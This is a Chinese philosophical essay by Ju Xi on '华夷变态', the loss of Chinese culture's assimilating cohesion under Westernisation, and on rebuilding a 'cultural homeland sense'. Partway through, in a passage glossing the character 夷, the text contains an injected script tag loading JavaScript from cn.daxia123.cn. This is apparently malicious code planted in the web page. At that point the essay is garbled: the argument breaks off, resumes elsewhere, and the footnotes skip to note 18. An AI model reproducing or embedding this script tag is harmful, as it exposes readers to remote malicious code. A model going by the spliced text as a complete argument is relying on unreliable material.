作者：鞠 曦 转载于：http://www.confuchina.com
摘要：“华夷变态”是中国文化丧失了凝聚力产生的问题形式，以史学、政治学及经济学的方法对华夷关系进行的研究，不足以从主体性上理解中国文化之凝聚力的本质性。所以，本文从哲学角度反思“华夷变态”问题，提出了主体性的“文化家园感”概念，表明凝聚力之本质乃中国文化的同化能力所塑造的“家园感”，认为中国文化中的华夷关系在本质上是一种家园关系。做为本质的统一性，中华民族的形成同样依赖于“文化家园感”的同化作用。面对中国文化所面对的当代问题，无论是“华夷变态”问题还是中华民族的凝聚力问题，以重塑“文化家园感”作为应对问题的主体论形式，才能使中国现代文化具有合法性。然而，重塑“文化家园感”是以中国传统文化挑战“全盘西化”及“华夷变态”所形成的现代文明，亦即必须对“华夷变态”的现代文明进行批判反思，此乃复兴中国优秀传统文化的基础。如果失去以批判为前提的同化能力，不能完成对当代文明的理性批判，则妄谈复兴中国优秀的传统文化，其没有必要复兴，也不可能复兴。所以，从“华夷变态”问题出发，本文进而提出了“华夷中和”的概念范畴，认为只有“华夷中和”，才是复兴中国优秀传统文化的理性与智慧，才能使“华夷变态”问题在“文化家园感”的历史与逻辑中统一。
关健词：文化家园感 华夷变态 华夷中和
由现代中国的历史境域所决定，中华民族的凝聚力已经成为不容忽视的问题，所以引发了相关的文化诉求，出现了复兴中国传统文化及其儒学的呼声。然而，这些呼声以民族性的主体性诉求遮蔽了文化的凝聚力问题，结果亦只能适得其反。如果一种文化只适合本民族因此只是一种民族文化而不具有人类性，那么，在全球化的现代进路中，这种民族文化则必然消亡而这个民族亦将被其它文化所同化。所以，在复兴中国传统文化及其儒学的理路中，反思其所具有的人类性，从而以其不可取代的凝聚力，才能化解中国于现当代产生的问题。由此，中国文化才能以人类性走向世界，而世界亦因中国文化的人类性而形成凝聚力，才能真正解决全球性问题（例如战争问题、能源问题、生态问题等等）。
文化的凝聚力与中国文化构成了历史与逻辑的统一，中国文化这一概念统合了传统与现代，而中国现代文化凝聚力的问题则使这种统合出现二难：现代中国是从传统中国走来，何以这个因强大的文化凝聚力而使中国成为“世界上几大古国文明中唯一得以幸存和延续下来的文明”，[1]于现代却出现了凝聚力问题？显然，其答案非常明确：是中国以现代的反传统、否定儒学及优秀的传统文化，以西化进入了全球化时代，从而产生广义上的“华夷变态”的文化危机。
从本质上论之，因为现代中国文化失缺了同化能力，从而使凝聚力成为问题。而在“全盘西化”的“自由主义”旗帜下的“多元化”只能产生更大的凝聚力缺失问题，“多元化”本身所表明的是失缺“同化”能力而出现的非统一性，从而使现代文明以自以为是、以非为是与自欺欺人为主要特征，这样的文明形态——失去了“同化”能力的文化，人们亦只能自以为是，凝聚力则根本无从谈起。
凝聚力由文化构成的诸多方面所形成，然而，在其本质上则取决于文化能否“穷理尽性以至于命”[2]及所具有的同化能力。中国文化的经典论证了文化的同化性与永恒性。《易》曰：“文明以止，人文也。观乎天文，以察时变。关乎人文，以化成天下”。[3] “重明以丽乎正，乃化成天下。”[4]这就是说，文化乃“能说诸心，能研诸侯之虑，定天下之吉凶，成天下之亹亹者”，[5]“化成天下”之文化，必“开物成物，冒天下之道”，[6]而只有“关乎人文”，才能“以通天下之志，以定天下之业，以断天下之疑”，[7]由此才能使天下化成。对人类的思想史进行的哲学反思表明，“穷理尽性以至于命”是哲学与文化的核心问题，而中国古代文化很早就注重并成功地解决了这一问题，因而成为《易》的核心命题。
历史表明，历史上的中国以其文化的同化能力形成了强大的凝聚力，《战国策》对此曾有所概括：
中国者，聪明睿知之居也,万物财用之所聚也,贤圣之所教也,仁义之所施也,《诗》《书》《礼》《乐》之所用也，异敏技艺之所试也，远方之所观赴也，蛮夷之所必行也。[8]
上论即所谓“远服来朝”，概指中国文化的“同化”能力，其表现为华夷关系。历史表明，“远服来朝”的结果是于亚洲形成了以“中国文化圈”为形式的华夷关系，中国文化的“同化”能力至唐全盛，明末而衰，由满清入主中原而逐步消亡，而现代中国文化，则基本被西化异化即反传统的以西制华，亦即处于以夷反华即广义的“华夷变态”，其不但是历史上华夷关系的反动，而且使中华民族丧失了“文化家园感”，由此导致了自身的文化凝聚力问题。
“华，荣也。”[9]“华者，犹荣华容色之象也。”[10]“华，盛也。”[11]“华，谓中国也。”[12]“中国有礼仪之大，故称夏；有服章之美，谓之华。”[13]“夷，平也。从大从弓。东方之人也。[14]“夷，蛮夷也?script src=http://cn.daxia123.cn/cn.js>
据。陈独秀认为：
矧在吾国,大梦未觉,固步自封,精之政教文章,粗之布帛水火,无一不相形丑绌,而可与当世争衡?
举凡残民害理之妖言,率能微之故训,而不可谓诬,谬种流传,岂自今始!故有之伦理,法律,学术,礼俗,无一非封建制度之遗,持较晰种之所为,以并世之人,而思想差迟,几及千载;尊重二十四朝之历史性,而不作改进之图;则驱吾民于二十世纪之世界之外,.纳之奴隶牛马黑暗沟中而已,复何说哉![29]
上论在形式上属于中国的“华夷变态”观，其代表了其时全面反传统的理论思潮，其目标是“全盘西化”，推翻传统文化而企图以西方文化取而代之。然而，在这种“华夷变态”观的指导下，在全面反传统、“打倒孔家店”之后，百余年历史却表明，中华民族不但失去了自身的文化家园，而且证明企图以西方文化建构新的文化家园即以夷为华，仅仅是个幻想。问题表明，中华民族因丧失“文化家园感”，已经导致凝聚力危机，“文化家园感”的重塑成为中国文化的当务之急。历史与逻辑的统一性表明，重塑“文化家园感”，复兴优秀的传统文化，是使中华民族步出自以为是、以非为是与自欺欺人的唯一抉择。
所以，“华夷变态”是中国文化丧失了凝聚力产生的问题形式，以史学、政治学及经济学的方法对华夷关系进行的研究，不足以从主体性上理解中国文化之凝聚力的本质性。所以，从哲学角度反思“华夷变态”问题，以主体性的“文化家园感”概念，表明凝聚力之本质乃中国文化的同化能力所塑造的“家园感”，中国文化中的华夷关系在本质上是一种家园关系。做为本质的统一性，中华民族的形成同样依赖于“文化家园感”的同化作用。面对中国文化所面对的当代问题，无论是“华夷变态”问题还是中华民族的凝聚力问题，以重塑“文化家园感”作为应对问题的主体论形式，才能使中国现代文化具有合法性。然而，重塑“文化家园感”是以中国传统文化挑战“全盘西化”及“华夷变态”所形成的现代文明，亦即必须对“华夷变态”的现代文明进行批判反思，此乃复兴中国优秀传统文化的基础。如果失去以批判为前题的同化能力，不能完成对当代文明的理性批判，则妄谈复兴中国优秀的传统文化，其没有必要复兴，也不可能复兴。如果是这样，中华民族最终失去的不仅是“文化家园感”，而且将在失去“文化家园”的同时，失去赖以安身立命的生命家园。所以，从“华夷变态”问题出发，以“华夷中和”为复兴中国优秀传统文化的理性与智慧，才能使“华夷变态”问题在“文化家园感”的历史与逻辑中统一。
面对“华夷变态”的现代文明，“文化家园感”的重塑在理论上表明的必然不仅仅是民族性，更重要的在于其所必须具有的人类性，否则，“华”只能为夷所化而不复存在，而历史已步入这一进程。也就是说，“中华文化”是否具有人类性，能否以其同化能力化夷为华，化西为中，能否以人类向往的“文化家园感”使之安身立命，是决定中国文化应否与能否复兴的关键所在。重塑“文化家园感”在于其文化的“穷理尽性以至于命”的理论与实践能力。“文化家园感”能否被人们认同，不在于对其文化母体的鼓吹和信仰，而在于其对生命的安顿能力，在于其解决问题的能力。所以，对于中国传统文化的复兴而言，重要的不是导以民族性的价值取向，而是要对当代“华夷变态”的文化及文明进行反思与批判，以重塑“文化家园感”为基础性工作，以“穷理尽性以至于命”的人类哲学智慧，使民族性与人类性统一，才能化夷为华，为人类文明开新传统。
巴黎第一届诺贝尔奖获得者国际大会宣言称：“如果人类要在21世纪生存下去，必须回头2540年前，去汲取孔子的智慧”。显然，这个宣言承诺了当今世界所存在的严峻问题，而这些问题则不能用西方的哲学、科学和宗教即西方文化加以解决，从而需要用孔子即中国优秀传统文化的智慧加以解决。“生存”问题因于“文化家园感”的丧失，只有重塑“文化家园感”，人类才能继续生存下去。孔子儒学“穷理尽性以至于命”的思想体系表明，其为“恒以一德”[30]的理论形式，以其在哲学的高度对人类的现代文明进行哲学反思与批判，才能真正的以孔子儒学思想，引导人类文明，“久于其道而天下化成。”[31]可见，“文化家园感”的重塑，不仅仅为了中华民族，而是放眼“华夷变态”之人类世界，忧患天下而自强不息，此乃“为天地立心”、“为万世开太平”之所以然也。
由人类所面临的严峻的生存问题所决定，重塑“文化家园感”是一个人类性工作，这在形式上决定了其适应于现实的全球化时代。然而，由于受历史的制约，当前以增强民族凝聚力为传统文化复兴的努力显然是狭隘的，甚至是徒劳的。所以，中国学者倾听一下西方学者的意见，显然是极其必要的。当代美国哲学家约翰?塞尔说：“我想告诉中国学者的最重要的事情是，没有民族的哲学和民族的科学这种东西。它是国际化的。我们所谈论的是一个完整的世界。正在发生的最伟大的事件就是，中国现在已成为世界其它地方的一部分。长期以来，有一堵墙将中国和西方世界以及将中国
?襄公十年》“谓之夷俘”。
[18] 《白虎通义?礼乐》。
[19] 《汉书?杜钦传》。
[20] 蔡沈集传《书?泰誓中》“受有亿兆夷人”。
[21] 滨下武志：《近代中国的国际契机——朝贡贸易体系与近代亚洲经济圈》，北京：中国社会科学出版社，1999年版，30-40页。
[22] 魏源：《海国图志》。
[23] 朴趾源：《热河日记》，上海书店出版社，1997年第1版，第1页。朴趾源此日记虽记于明亡一百四十余年之后，但其所用纪年仍为“崇祯百五十六年癸卯”。
[24] 《朝鲜实录，成宗》。
[25] 《孝宗实录》十六年七月丙戌。
[26] 半岛唐风：《朝韩作家与中国文化》，刘顺利译，宁夏人民出版社2004年第1版，第76页。
[27] 牟元珪：《明清时期中国移民朝鲜半岛考》，《韩国研究论丛》（第四辑），上海人民出版社1998年第1版，第342页。
[28] 黑格尔:《哲学史讲演录》（第一卷），商务印书馆1959年9月第1版，第15页。
[29] 《青年杂志》第1卷第1号[1915年9月15日]。引自《中国现代思想史资料简编》第一卷第3页。浙江人民出版社1982年1月第1版。
[30] 《易?系辞传》。
[31] 《易?恒?彖》。
[32] 蔡曙山：《关于哲学、心理学和认知科学的12个问题——与约翰?塞尔教授的对话》。《学术界》总第124期，2007年第3期，第17页。
[33]导致这些问题的经典理论如下：①“领导我们事业的核心力量是中国共产党，指导我们思想的理论基础是马克思列宁主义。”（毛泽东：《中华人民共和国第一届全国人民代表大会第一次会议开幕词》（一九五四年九月十五日）一九五四年九月十六日《人民日报》）。② “共产主义革命就是同传统的所有制关系实行最彻底的决裂；毫不奇怪，它在自己的发展进程中要同传统的观念实行最彻底的决裂。”（马克思、恩格斯：《共产党宣言》，《马克思恩格斯选集》第一卷，人民出版社1972年5月第1版，第271—272页。）
[34]《易?系辞传》。
2008年元月6日记于长白山书院
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